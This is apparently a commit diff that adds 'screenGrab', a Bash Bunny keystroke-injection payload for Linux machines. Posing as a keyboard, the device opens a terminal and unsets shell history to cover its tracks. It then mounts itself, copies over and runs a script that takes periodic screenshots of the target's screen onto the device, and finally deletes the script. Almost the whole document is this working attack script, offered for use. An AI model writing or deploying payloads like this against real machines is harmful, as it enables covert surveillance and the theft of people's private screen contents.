Uploading ScreenGrab (#511)

* uploading screenGrab

screenGrab payload captures snap shots of target's screen periodically and store them into bunny.

* Uploading payload

payloads/library/execution/ScreenGrab/switch1/payload.txt

@@ -0,0 +1,56 @@
+# Title: screenGrab
+# Description: screenGrab payload captures snap shot's of target's screen periodically.
+# AUTHOR: drapl0n
+# Version: 1.0
+# Category: Execution
+# Target: GNU/Linux operating systems with systemd.
+# Attackmodes: HID, Storage.
+
+LED SETUP
+ATTACKMODE STORAGE HID
+GET SWITCH_POSITION
+LED ATTACK
+Q DELAY 1000
+Q CTRL-ALT t
+Q DELAY 1000
+
+# [Prevent storing history]
+Q STRING unset HISTFILE
+Q ENTER
+Q DELAY 200
+
+# [Fetching BashBunny's block device]
+Q STRING lol='$(lsblk | grep 1.8G)'
+Q ENTER
+Q DELAY 100
+Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
+Q ENTER
+Q DELAY 200
+
+# [Mounting BashBunny]
+Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
+Q ENTER
+Q DELAY 2000
+Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
+Q ENTER
+Q DELAY 500
+
+# [transfering payload script]
+Q STRING cp -r '$mntt'/payloads/library/screenGrab/payload.sh /tmp/
+Q ENTER
+Q STRING chmod +x /tmp/payload.sh
+Q ENTER
+Q STRING /tmp/./payload.sh
+Q ENTER
+Q DELAY 12000
+Q STRING rm /tmp/payload.sh
+Q ENTER
+Q DELAY 500
+
+# [Unmounting BashBunny]
+Q STRING udisksctl unmount -b /dev/'$disk'
+Q ENTER
+Q DELAY 500
+Q STRING exit
+Q ENTER 
+LED FINISH